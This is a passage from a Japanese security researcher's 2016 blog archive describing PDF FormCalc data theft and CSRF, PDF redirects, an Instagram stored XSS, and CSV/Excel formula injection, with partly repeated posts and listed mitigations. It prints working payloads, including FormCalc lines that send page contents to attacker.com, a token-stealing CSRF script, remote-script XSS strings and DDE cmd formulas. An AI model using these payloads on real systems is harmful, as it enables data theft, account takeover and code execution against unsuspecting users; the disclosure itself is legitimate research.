まずGetしたレスポンスからSubstr関数を使ってCSRFトークン（abcd）を抜きます。抜き出す為のトークンスタート位置はAt関数を使って、tokenというキーワードの位置＋13（今回の場合のtokenからCSRFトークンのスタート位置までの文字数）で割り出しています。トークンをゲットしたら、Stuff関数で事前に作っておいたリクエストの中にトークンを入れる。その後Postを使ってコメントを送れば終了。PDFを見たユーザの権限でコメントするPoCです。サイトによってはリクエストボディではなくリクエストヘッダー内にCSRFトークンを入れるようなサイトもあるみたいですが、CSRFトークンがレスポンスボディ内にあれば、任意のヘッダーが指定できるため、そのようなサイトでも影響を受けます。
一番最初のPoC及び今回のPoCはPDFのみを使った攻撃なので、信頼されたオリジンから攻撃ができ、攻撃者のサイトに誘導する必要はありません。しかしContent-Dispositionヘッダーがあった場合はダウンロードされてしまう為、攻撃者のサイトに埋め込む必要があります。もう一つの特徴は、PDFを埋め込む攻撃がブラウザのバグ（X-Frame-Optionsをチェックしない）を利用しているのに対し、PDFのみの攻撃はPDFの機能のみを使っています。その為ブラウザ側で正しいチェックが行われてもPDFの攻撃は無くならないでしょう。
対策
ユーザがアップロードしたPDFを重要なオリジンに保存しない。オープンリダイレクトを完全に防ぎたい場合はサンドボックスドメインに保存したPDFにContent-Dispositionをつけて、pdf.jsでPDFのプレビューを表示する。CSVの対策としてはユーザが入力した値の中の改行を消す。JSONやJSONPは仕様に従っていれば、基本影響を受けません。対策の前にComma Chameleonを読むことを強く推奨します。
ではでは。
PDFを使ってフォームが作れるのはご存知かと思いますが、このフォームを作る為にPDFのバージョン1.2からAcroformsが追加され、バージョン1.5からXFA(XML Forms Architecture)が追加されました。フォームでの動的な処理の為、XFAではFormCalcという演算言語が標準言語として使われています。簡単に言うとHTMLで<script>と書いた場合Javascriptとして実行されますが、XFAで<script>と書いた場合FormCalcで実行されるということです。
FormCalcの最新版(?)参考資料は以下です。
http://help.adobe.com/ja_JP/livecycle/9.0/FormCalc.pdf
ちなみに、ブラウザに搭載されているPDF ViewerなどはFormCalcをサポートしていない為、FormCalcが使えるのはAcrobat Readerを使ってPDFを閲覧しようとした場合（標準設定ではIEのみ）になります。
さて、2014年にCure53のAlexander氏によりFormCalcのURL関数を使ったクロスオリジンのデータが取得可能であった脆弱性が修正されたことが公開さ れ、その中で同一オリジンへのデータ取得はバグではない為修正がされない ことも言及されました。
http://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html
http://insert-script.blogspot.com/2015/05/pdf-mess-with-web.html
FormCalc参考資料によるとFormCalcのURL関数には3つの種類があります。Get、Post、Putです。その名の通りPDFと同一のオリジンにGet、Post、Putのリクエストをすることができます。
Getの例
Get("https://SameOrigin.withPDF.com/")
Postの例
Post("https://SameOrigin.withPDF.com/","contents here","application/json","utf-8","Custom: header-here")
Putの例
Put("https://SameOrigin.withPDF.com/", "contents here","utf-8")
参考資料に詳しい説明が載っていますが、パラメータが一番多いPostの説明をすると以下の様になります。
Param 1: ポストするサイトのURL
Param 2: ポストするコンテンツ（Request body）
Param 3: 有効な任意のMIMEタイプ
Param 4: 有効な 任意の文字エンコード
Param 5: 任意のヘッダー（Request header）
3、4、5はオプションです。Alexander氏のスライドを見ると分かるよう、昔はユーザエージェント以外の任意のヘッダーが遅れたようですが、今ではクッキーやホストヘッダーなどが送れなくなっています。しかしサイト独自のヘッダーなどは今でも送れます。
説明が長くなってしまいましたが、Alexander氏の発表から、サイトにPDFファイルをアップロード出来る機能があり、PDFが保存されるオリジンに機密情報がある場合、以下の様にその情報を抜き出すことが出 来ます。
var content = GET("https://SameOrigin.withPDF.com/user_info.php");
Post("http://attacker.com",content);
PoC
https://shhnjk.com/post.pdf（IEでアクセスして下さい）
ブラウザでPDFを開いただけでクロスオリジンに情報が漏洩するという素晴らしい機能です（笑）上記のPoCではhttps://shhnjk.com/xss.txtにGetでアクセスし、そのレスポンスをPostを使って攻撃者のサイトに送っています。クロスオリジンのサイトにPostする場合、普通はエラーになってしまいますが、以下の様なcrossdomain.xmlを設定すればエラーなくPostを受け取れます（一番脆弱なcrossdomain.xmlなので普通のサイトでは設定しないで下さい）。
http://szabist.web.fc2.com/crossdomain.xml
翌年2015年にSoroush氏によりFormCalcとJavascriptを使って、埋め込まれたPDFからGetした情報を別オリジンと共有する手法が公開されました。
https://github.com/nccgroup/CrossSiteContentHijacking
この手法の素晴らしいところは以下のPDF自体に修正を加える必要ない点です。
https://15.rs/ContentHijacking/objects/ContentHijacking.pdf
以下のPoCサイトにPDFのURLと読み取りたい同一オリジンのページを指定してあげるだけでいいのです。
https://15.rs/ContentHijacking/ContentHijackingLoader.html?objfile=https://shhnjk.com/ContentHijacking.pdf&objtype=pdf&target=https://shhnjk.com/xss.txt&isauto=1
IEで開くとhttps://shhnjk.com/xss.txtのコンテンツである<script>alert(document.domain)</script>が表示されるかと思います。さて、読み込むPDFにX-Frame-Optionsが指定されてたら攻撃者のサイトに埋め込んでもダメじゃんと思った方もいるのではないでしょうか。ご心配なく！objectやembedタグ内にtype="application/pdf"と記載することでPDFがホストされているサイトのX-Frame-OptionsやContent-Dispositionは無視されます（笑）
まだまだ続きます。更に翌年2016年にKrzysztof氏とG´abor氏により、各ブラウザでAcrobat Readerを使いPDFを表示する設定にされている場合の脅威に関する研究結果が発表されました。
https://www.alchemistowl.org/pocorgtfo/pocorgtfo12.pdf（Content Sniffing with Comma Chameleon）
上記のPDFはPolyglotで拡張子をZipに変えるとPoCファイルが出てきます（APKファイルにもなるらしい）。素晴らしいペーパーなので是非読んで頂きたいですが、要約したまとめが以下です。
IE: 分かっている通り標準設定でAcrobat Readerが使われ、FormCalcも使える。
Chromium: Acrobat ReaderなどのNPAPIをサポートしていない為、攻撃不可能。
Firefox: Acrobat Readerを使う設定にするとFormCalcは使えるが、使う度に有効にするというボタンを押さなければいけない為、現実的ではない。
Safari: Acrobat Readerを使う設定にするとAcrobat Readerが確認なしで使えてFormCalcも使える。
更にIEとSafariにMIMEタイプがapplication/pdfでないPDFをtype="application/pdf"として埋め込んだところ、SafariはそれでもFormCalcが使えて、IEは使えなかったとのことです。IEでFormCalcが使えかった理由はMIMEタイプが正しくない場合、そのPDFをFileオリジンでロードする為、どんなサイトのPDFでもクロスオリジンとみなされるからです（前編で紹介したやつです）。
この研究では更に、FormCalcのコードをクロスオリジンから送れる最小限のPDFを作成しています。
%PDF-Q 1 0 obj<</Length 1>>stream
<xdp xmlns="http://ns.adobe.com/xdp/"><config><present><pdf><interactive>1</interactive></pdf></present ></config><template><subform name="s"><pageSet/><event activity="exit"><script>r=Eval(P)</script></event></subform></template></xdp> endstream endobj xref 0 2 0000000000 65535 f 0000000007 00000 n trailer<</Root<</AcroForm<</XFA 1 0 R>>/Pages<<>>/OpenAction<</S/JavaScript/JS(hostContainer.messageHandler={onDisclose:Date,onMessag e:function(a){eval(a[0])}})>>>>>> startxref 286 %%EOF
これにより、JSONやCSVファイルなどに上記コードを入れられた場合、そのファイルをPDFとして埋め込むことでPDFがアップロード出来ないサイトにも影響が及ぶようになります。
ここまでがPDFWebSecの軽いまとめです（笑）ここまで読んで頂いた方はあと少しですので頑張って下さいｗ
さて僕がまず考えたことは、SafariでAcrobat Readerを使う設定にしていない場合でも攻撃できないかという所です。ここで目を付けたのがFDFです。SafariではPDFやFDFのオン/オフ設定が一緒な為、前回説明した通りFDFを許可したサイトではPDFもAcrobat Readerで表示されるようになります。そこに前回紹介したiframeを使って信頼されているドメインから許可を貰えばOK。なはずだった…
Comma Chameleonが発表された後、SafariはPDF関連の機能をよりセキュアしました。まずプラグインの設定からAdobe Readerがオンになってない場合（標準設定では確認）はクリックしないとAcrobat Readerが有効化されないようになりました。こちらはstyle="visibility:hidden;"で以前の確認アラートに戻せることも紹介しました。しかし更に、SafariでFormCalcのURL関数を使ってもクッキーを送ってくれなくなりました（泣）再現の為に以下のページを用意しました。
https://shhnjk.com/CookieOrKitKat.php
こちらはクッキーを持っていればクッキー、持っていなければキットカットと返してくれるページです。クッキーを設定するには以下のページでボタンを押します。
https://shhnjk.com/Cookie.php
ボタンをしてから最初のページに行くとクッキーが帰ってくれば OK。SafariでAdobe Readerをオンにした状態で以下を開きます。
https://shhnjk.com/calc.pdf
こちらはCookieOrKitKat.phpのコンテンツにFormCalcでアクセスし結果をアラートしてくれるPDFです。Safariではクッキーを設定してもPDFを開くとキットカットが返ってくると思います。しかしIEで試すとちゃんとクッキーが返ってきます。その為、SafariでFormCalcを使おうとしても、出来ることはお問い合わせのCSRFバイパスぐらいでしょう。
ではMIMEタイプが正しくないPDFの攻撃は完全に死んだのでしょうか。標準設定では現時点で攻撃する方法はないでしょう。しかし、PDFをAcrobatで表示する設定にしている場合、まだ１つだけ方法があります。Firefoxです。FirefoxでもAcrobat Readerを有効化するにはクリックが必要ですが、こちらもSafari同様style="visibility:hidden;"で有効にしますかのアラートに変わり、iframeを使って別のオリジンの信頼で有効化することが出来ます。
PoC
http://shhnjktest.blogspot.com/2016/10/calc-embed-test.html
Windows版のFirefoxでPDFをAcrobatプラグインで開く設定にした状態でアクセスしてみて下さい。calc.txtを埋め込んでいますが、無事PDFとして読み込み更に攻撃者サイトのオリジンではなく、トップドキュメントのオリジンで許可が聞かれていると思います。Cookie.phpからクッキーを設定するとクッキーというレスポンスが返ってくるかと思います。実際のサイトのiframe内でどのように任意のコンテンツを表示するかですが、まずは前回言ったように広告が使えます。広告を表示しているサイトはiframeサンドボックスを使うと拡張やプラグインが実行されないので良いでしょう。広告がないサイトの場合はリンク作成機能などを見ましょう。リンクのターゲットが任意に指定できる場合はこれが使えます。
PoC
https://shhnjktest.blogspot.com/2015/11/test.html
これは以前紹介したBloggerがコメント投稿にiframeを使っていることを利用し、リンクでコメント投稿のiframeをターゲットにしています。ちなみに、リンクと同一オリジンであればどんなページのiframeでもターゲットに出来ます。
ここで残念なお知らせがあります。Firefoxは2017年の3月からNPAPIをサポートしなくなります。その為、Acrobat ReaderがFirefoxで使えなくなり、今回の攻撃が出来なくなるでしょう。やはりMIMEタイプが正しくないPDFの攻撃は死にゆくのでしょうか。いや、まだ希望があります。IEでMIMEタイプが正しくないPDFの攻撃が出来ないのは、そのPDFをFileオリジンからロードする為です。しかし、リモートのPDFがFileオリジンでロードされることによる脆弱性をIEに報告済みで、2017年のバレンタインデーに修正がリリースされる予定です。ここで間違った修正がリリースされた場合、IEでこの攻撃が可能になってきます。果たしてMSがチョコを渡すのはユーザか、それとも攻撃者か。楽しみですね！
それでh、、、、ちょっと待った。
なんかモヤモヤしませんか？攻撃者は情報をクロスオリジンに送ることだけが目的なのか。いや、我々は改ざんしたい！（笑）
クロスオリジンに情報を送り、その情報からCSRFトークンを抜き出し、攻撃者サイトのフォームに入れて、そこにリダイレクトすればいいのかもしれませんが、面倒くさいし、攻撃者のサイトにリダイレクトしたら攻撃がバレてしまう。
少し初心に戻ってみます。2014年に公開された攻撃の時点で、
var content = GET("https://SameOrigin.withPDF.com/user_info.php");
//content←ここにCSRFトークンも入ってるはず。
Post("http://attacker.com",content);
つまりレスポンスの情報からPDF内でCSRFトークンを抜き出せれば、同一オリジンからそのCSRFトークンを使って攻撃できるということです。FormCalcには色んな関数があるので、その中の文字列関数を使ってみます。
以下にコメントページがあります。
https://shhnjk.com/add_comment.php
クッキーがないと見れないので、先ほどのCookie.phpに行きクッキーを貰います。コメントページにはCSRFトークンがあり（今回はabcdで固定）、投稿されたコメントはcomments.phpに反映されます。このコメント動作をPDFだけを使ってやってみます。
PoC
https://shhnjk.com/CSRF.pdf
以下がスクリプトです。
var content = Get("https://shhnjk.com/add_comment.php");
var csrf = Substr(content, At(content,"token")+13, 4);
var data = Stuff("token=&comment=hacked", 7, 0, csrf);
Post("https://shhnjk.com/comment.php",data,"application/x-www-form-urlencoded","utf-8");
まずGetしたレスポンスからSubstr関数を使ってCSRFトークン（abcd）を抜きます。抜き出す為のトークンスタート位置はAt関数を使って、tokenというキーワードの位置＋13（今回の場合のtokenからCSRFトークンのスタート位置までの文字数）で割り出しています。トークンをゲットしたら、Stuff関数で事前に作っておいたリクエストの中にトークンを入れる。その後Postを使ってコメントを送れば終了。PDFを見たユーザの権限でコメントするPoCです。サイトによってはリクエストボディではなくリクエストヘッダー内にCSRFトークンを入れるようなサイトもあるみたいですが、CSRFトークンがレスポンスボディ内にあれば、任意のヘッダーが指定できるため、そのようなサイトでも影響を受けます。
一番最初のPoC及び今回のPoCはPDFのみを使った攻撃なので、信頼されたオリジンから攻撃ができ、攻撃者のサイトに誘導する必要はありません。しかしContent-Dispositionヘッダーがあった場合はダウンロードされてしまう為、攻撃者のサイトに埋め込む必要があります。もう一つの特徴は、PDFを埋め込む攻撃がブラウザのバグ（X-Frame-Optionsをチェックしない）を利用しているのに対し、PDFのみの攻撃はPDFの機能のみを使っています。その為ブラウザ側で正しいチェックが行われてもPDFの攻撃は無くならないでしょう。
対策
ユーザがアップロードしたPDFを重要なオリジンに保存しない。オープンリダイレクトを完全に防ぎたい場合はサンドボックスドメインに保存したPDFにContent-Dispositionをつけて、pdf.jsでPDFのプレビューを表示する。CSVの対策としてはユーザが入力した値の中の改行を消す。JSONやJSONPは仕様に従っていれば、基本影響を受けません。対策の前にComma Chameleonを読むことを強く推奨します。
ではでは。
2016年9月22日木曜日
PDF特殊機能（リダイレクト編）
今回は今年一番ハマったPDFについて書きます。
先ずは軽い構造の説明から！
上記はJavaScriptが実行できる最小限のPDFの例です。
上記の例では、ル ートオブジェクト(1 0 obj)内にPDFのページおよびPDFを開いた際に実行するアクション(/OpenAction)としてオブジェクト20を指定しています。オブジェクト20ではJavaScriptで ”Hello World!”というアラートを出すコードが記載されています。その為、上記のPDFを開いた場合、”Hello World!”というポップアップが表示されます。
PoC
PDFのJavaScriptはブラウザによってサポートが異なる為、デフォルトの状態でJavaScriptを実行できるのはIE(Acrobat Readerが入っている場合)とChromeです。
また、PDFのJavaScriptでアラートが出せるからといって、サイトにXSSがあるというわけではありません。PDFについてもっと詳しく知りたい方はPDFリファレンスをご覧下さい。
さて、構造の説明にJavaScriptをアクションタイプと書きましたが、アクションタイプとはPDFに搭載されている機能のようなもので、JavaScriptはその中の１つです。以下がPDFリファレンスに記載されているアクションタイプ一覧です。
この中でURIというアクションタイプはリダイレクト出来そうだったので調べてみました。そもそもJavaScript自体に沢山の関数があり、app.launchURL()を使うとオープンリダイレクトやポップアップブロッカーパイパスが出来るのですが、これはAcrobat Readerを使っているブラウザのみ可能です。しかしURIアクションタイプを使うとChromeのPDF Viewerでもリダイレクトが可能です。
PoC
さて、PDFと同系統のドキュメントでFDFとXFDFというファイルがあるのはご存知でしょうか。こちらでもリダイレクトが出来ます(Acrobat Readerを使っているブラウザのみ)。
PoC
このFDFを使ったSafariの面倒くさいリダイレクトを紹介します。
そもそもSafariはPDFを表示する際、Previewというソフトを使う為リダイレクトが出来ません。しかしAcrobatが入っている場合、FDFを埋め込むことでAcrobatを呼び出すことが出来ます。
PoC
しかしご覧の通り、「Acrobat Readerを使用するにはここをクリック」というボタンが表示され、それを押さない限りAcrobatでは開きません。しかしこれをもう少し誘導させやすくする方法があります。それは「style="visibility:hidden;"」をiframeに追加する方法です。
今度は「“shhnjk.com”を信頼して、“Adobe Reader”プラグインを使用しますか？」が出てきます。これは「style="visibility:hidden;"」によりクリックジャッキングを使ってAcrobatを有効にさせない為の手段です。ここまでだとまだまだ攻撃者のドメインなので、ユーザの信頼は勝ち取れません。そこでこれを更に埋め込みます。
今度は"https://shhnjk.com/script.fdf"を表示しようとしているにも関わらず、“shhnjktest.blogspot.ae”を信頼するかとの質問に変わってきます。つまり信頼あるサイトの広告内からでもAcrobatを呼び出すことが出来ます。今回はリダイレクトをするだけですが、これでユーザがサイトを信頼した場合、以後信頼されたサイト上ではPDFもFDFもAcrobatで読み込まれることになり、Acrobatの機能や脆弱性を突く攻撃が可能となります。
最後にPDFを使った面白いXSSを紹介します。
まず、IEではFileオリジンからHTTPのサイトにリダイレクトした際、サイト内のHTMLではないコンテンツをHEADタグ内に入れてしまうバグがあります。もちろんこれだけではFileオリジンからリダイレクトをするのが難しいため問題にならないのですが、IEはPDFがapplication/pdfでないContent typeで配布された場合、そのPDFをFileオリジンで表示するというバグがあります。その為条件が揃うとXSSが発生します(Windows 7で再現確認)。
PoC
※絶対に既存のブラウザをIEに設定してからアクセスして下さい
このバグはMSから修正なしとの回答がきました。理由は既存ブラウザがIEでなければならないこと、サイトがHTTPでホストされていること、Scriptタグが入ったドキュメントを表示出来ること、再現しないことがあることなど、再現条件が揃う可能性が低いからとのことです。
というわけで、PDFの概要と大して面白くない機能の説明でしたが、後編はまぁまぁ面白いと思うのでご期待下さい。
ではでは。
2016年9月1日木曜日
すっぴーさんからの贈り物（Instagram Stored XSS）
お久しぶりです。
皆様いかがお過ごしでしょうか。私はご覧の通りサボっていましたw
さて、今回は先日見つけたInstagramにあったXSSの話をします。何人か報告した人がいたらしく、多分Duplicateかもしれませんが面白かったので書きます。
ある日1件のツイートが目に止まりました。
すっぴーさんの飼い主の方が悪意ある名前("><script>alert(0)</script>)を設定していて、なんとInstagramがそれを正しくエスケープしていなかった為、 名前の最後にある</script>でscriptタグが閉じられてしまっている状態でした。
海外サービスはスピード勝負なので、Instagramをやっていなかったのですが、とにかくFacebookでログインし、何が出来るかトライしてみました。
まず名前には30文字までの文字数制限があることが分かりました。とりあえず一番簡単そうなもので試そうと思い以下の名前を設定。
</script><img/src='//te.st/?
するとこんな感じになりました。
攻撃者のアカウントや写真のページにアクセスしたユーザのユーザ名やCSRFトークンを盗むことに成功しました！ってのはいいんですが、名前を設定したと同時に攻撃者もプロファイルにアクセス出来なくなるw
とりあえずFacebookに報告。
さて、次はもちろんXSSを目指します。先ほどのアカウントはどうにもならなので、別アカウントを作成。30文字におさまる方法を考えた結果以下でチャレンジ。
</script><script>alert(1)//
無事アラート出来ました！
報告してから2日後に修正されました。
修正後に、実際に攻撃したかった場合どうすればよかったかを考えました。実際の攻撃はもう少し長いスクリプトが必要なはずですし、果たして30文字で攻撃できるのかと。少し考えた結果、以下で可能でした。
</script><script/src=//⑭.₨>
これなら攻撃サイトのスクリプトを使用できる為、いくらでも長いスクリプトが書けます。更に今回のようにスクリプトタグ内に断片的なデータが入ってる場合でもスラッシュでコメントアウトする必要はありません。
PoC
https://jsfiddle.net/ykke16ht/
⑭.₨を使っている理由は、14.rsの5文字を3文字で表現するためです。バイト的には5バイトから7バイトと増えてしまう為、XSSチャレンジなどでは使われませんが、こういう時は役に立ちます。詳しい情報はこちら。
無事修正されたので、すっぴーさんを見に行ったところ...
</script><svg/onload=alert(1)>
バッチリ攻撃仕掛けてましたw
追記
Facebookから$3500の報奨金を頂きました！
ではでは。
皆様いかがお過ごしでしょうか。私はご覧の通りサボっていましたw
さて、今回は先日見つけたInstagramにあったXSSの話をします。何人か報告した人がいたらしく、多分Duplicateかもしれませんが面白かったので書きます。
ある日1件のツイートが目に止まりました。
今回の主人公すっぴーさんであります。すっぴーさんに興味があったので、見ようと思いリンクをクリックしましたが、真っ白な画面が開きました。おかしいと思い調べたところ面白い状態になっていました。8月なのに寒くなってきました #すっぴーさん https://t.co/VQaRsSqTsc— yousukezan (@yousukezan) 2016年8月28日
海外サービスはスピード勝負なので、Instagramをやっていなかったのですが、とにかくFacebookでログインし、何が出来るかトライしてみました。
まず名前には30文字までの文字数制限があることが分かりました。とりあえず一番簡単そうなもので試そうと思い以下の名前を設定。
</script><img/src='//te.st/?
するとこんな感じになりました。
攻撃者のアカウントや写真のページにアクセスしたユーザのユーザ名やCSRFトークンを盗むことに成功しました！ってのはいいんですが、名前を設定したと同時に攻撃者もプロファイルにアクセス出来なくなるw
とりあえずFacebookに報告。
さて、次はもちろんXSSを目指します。先ほどのアカウントはどうにもならなので、別アカウントを作成。30文字におさまる方法を考えた結果以下でチャレンジ。
</script><script>alert(1)//
無事アラート出来ました！
報告してから2日後に修正されました。
修正後に、実際に攻撃したかった場合どうすればよかったかを考えました。実際の攻撃はもう少し長いスクリプトが必要なはずですし、果たして30文字で攻撃できるのかと。少し考えた結果、以下で可能でした。
</script><script/src=//⑭.₨>
これなら攻撃サイトのスクリプトを使用できる為、いくらでも長いスクリプトが書けます。更に今回のようにスクリプトタグ内に断片的なデータが入ってる場合でもスラッシュでコメントアウトする必要はありません。
PoC
https://jsfiddle.net/ykke16ht/
⑭.₨を使っている理由は、14.rsの5文字を3文字で表現するためです。バイト的には5バイトから7バイトと増えてしまう為、XSSチャレンジなどでは使われませんが、こういう時は役に立ちます。詳しい情報はこちら。
無事修正されたので、すっぴーさんを見に行ったところ...
</script><svg/onload=alert(1)>
バッチリ攻撃仕掛けてましたw
追記
Facebookから$3500の報奨金を頂きました！
ではでは。
2016年3月30日水曜日
CEMIについて
さて、今日はCSV Excel Macro Injectionという脆弱性のお話です。
参考
http://www.contextis.com/resources/blog/comma-separated-vulnerabilities/
今回はMicrosoft Excelにしぼって説明します。
CEMIはウェブサイトで良く見かける、CSVへの書き出し機能を狙った脆弱性です。皆様ご存知の通り、Excelには関数があり、CSVに書き出す際ユーザ入力が正しくエスケープされていない場合、関数をインジェクトすることにより任意のコード実行などができます。
コード実行にはDynamic Data Exchangeを使います。具体的なコードは以下です。
更に任意のコード実行まではいかないものの、警告が出ない手法もあります。
ここまで見る限り、「=」さえエスケープしていれば攻撃は防げそうな気がしますが、危ない記号がまだあります。
https://hackerone.com/reports/72785
https://hackerone.com/reports/111192
CEMIの脆弱性はCybozu.comおよびCybozulive.comに存在していて、報告したところ、特に「-」から始まる入力が頻出する為、 製品の仕様上「-」で始められなくなることが許容出来ないとの回答で脆弱性と認められませんでした。Cybozuユーザの皆様はCSVへ書き出す機能を使う場合はお気をつけ下さい。
実際に脆弱性を試してみたい方は、Cybozuliveにいき、グループの掲示板にあるアンケート機能を使って回答候補に関数を入れて、アンケート結果をCSVに書き出してみて下さい。
対策
HackerOneでは先頭に危険な記号が入る場合、「'」を入れる事でエスケープして関数の実行を防ぐ対策を取っていました。
最近翻訳ブログになってきましたね～ｗ
ではでは。
参考
http://www.contextis.com/resources/blog/comma-separated-vulnerabilities/
今回はMicrosoft Excelにしぼって説明します。
CEMIはウェブサイトで良く見かける、CSVへの書き出し機能を狙った脆弱性です。皆様ご存知の通り、Excelには関数があり、CSVに書き出す際ユーザ入力が正しくエスケープされていない場合、関数をインジェクトすることにより任意のコード実行などができます。
コード実行にはDynamic Data Exchangeを使います。具体的なコードは以下です。
=cmd|' /C calc'!A0上記コードの入ったCSVを開く事により電卓が起動します。しかし電卓が起動される前に警告が出ます。参考記事では警告に「ソースを信頼しない限り」クリックしてはいけないとの記述がある為、ユーザがウェブサイトを信頼している場合警告を無視する可能性があると述べられています。また、CEMIはユーザが自らCSVへ書き出し実行しても発火する受動的攻撃である為、警告が無視される可能性を高めると思われます。
更に任意のコード実行まではいかないものの、警告が出ない手法もあります。
=HYPERLINK("http://Attacker.com/?leak="&A1&A2, "Error: please click for further information")上記の関数をインジェクトすることで、セルがクリックされた際任意のサイトにアクセスさせることができます。更にセルを指定することで、任意のセル情報を取得することができます。上記の例では、セルがクリックされるとAttacker.comにセルA1とセルA2の情報が漏洩されます。
ここまで見る限り、「=」さえエスケープしていれば攻撃は防げそうな気がしますが、危ない記号がまだあります。
https://hackerone.com/reports/72785
+cmd|' /C calc'!A0
-cmd|' /C calc'!A0「+」と「-」が先頭にあってもコード実行が可能です。これだけでしょうか？
https://hackerone.com/reports/111192
[%0A]-cmd|' /C calc'!A0改行コードを先頭に入れることによりコード実行が可能です。ちなみに、スペースを入れられないような場合でも以下でコード実行が可能です。
=cmd|'/C;calc'!A0
CEMIの脆弱性はCybozu.comおよびCybozulive.comに存在していて、報告したところ、特に「-」から始まる入力が頻出する為、 製品の仕様上「-」で始められなくなることが許容出来ないとの回答で脆弱性と認められませんでした。Cybozuユーザの皆様はCSVへ書き出す機能を使う場合はお気をつけ下さい。
実際に脆弱性を試してみたい方は、Cybozuliveにいき、グループの掲示板にあるアンケート機能を使って回答候補に関数を入れて、アンケート結果をCSVに書き出してみて下さい。
対策
HackerOneでは先頭に危険な記号が入る場合、「'」を入れる事でエスケープして関数の実行を防ぐ対策を取っていました。
最近翻訳ブログになってきましたね～ｗ
ではでは。
2016年2月10日水曜日
Cybozu Liveの脆弱性ではない話
今回は、サイボウズさんに報告するも、ユーザーを誘導して複数回の操作をさせる必要がある為に脆弱性と認められなかった挙動を紹介したいと思います。
その挙動は以下です。
http://www.slideshare.net/masatokinugawa/ss-51723687#43
ずばり、https://cybozulive.com/common/transactionTokenJsonDirectにアクセスするとCSRFトークンがダウンロードできるというものです。さて、普通はこのトークンをどうスクリプトで取得するかを考えるわけですが、そんなの面倒臭いのでこの挙動をそのまま使います。
PoC
http://shhnjk.host56.com/token.html
今回はIDEA BOXにHackedというアイディアを載せるPoCなので、PoCを確認したい人でIDEA BOXのニックネームを持ってない人は以下で作っておきましょう。
https://cybozulive.com/ideabox/nicknameAdd
PoCの解説ですが本当に単純で、File APIを使ってアップロードされたファイルからトークンを抜き出し、フォームの中にトークンを入れてPOSTしているだけです。しかし、普通にPOSTするとCybozu Liveに飛んでしまい、ハックがバレてしまうので、同じページ上にあるiframeをTargetにしてPOSTしてます。
この挙動を使うとCybozu Liveアカウントを乗っ取ることも可能ですが、今回は割愛します。
という訳で、誘導の類が加わると脆弱性とは認めて貰えませんよという話でした～。（短ッ！）
ではでは。
その挙動は以下です。
http://www.slideshare.net/masatokinugawa/ss-51723687#43
ずばり、https://cybozulive.com/common/transactionTokenJsonDirectにアクセスするとCSRFトークンがダウンロードできるというものです。さて、普通はこのトークンをどうスクリプトで取得するかを考えるわけですが、そんなの面倒臭いのでこの挙動をそのまま使います。
PoC
http://shhnjk.host56.com/token.html
今回はIDEA BOXにHackedというアイディアを載せるPoCなので、PoCを確認したい人でIDEA BOXのニックネームを持ってない人は以下で作っておきましょう。
https://cybozulive.com/ideabox/nicknameAdd
PoCの解説ですが本当に単純で、File APIを使ってアップロードされたファイルからトークンを抜き出し、フォームの中にトークンを入れてPOSTしているだけです。しかし、普通にPOSTするとCybozu Liveに飛んでしまい、ハックがバレてしまうので、同じページ上にあるiframeをTargetにしてPOSTしてます。
この挙動を使うとCybozu Liveアカウントを乗っ取ることも可能ですが、今回は割愛します。
という訳で、誘導の類が加わると脆弱性とは認めて貰えませんよという話でした～。（短ッ！）
ではでは。
登録:
投稿 (Atom)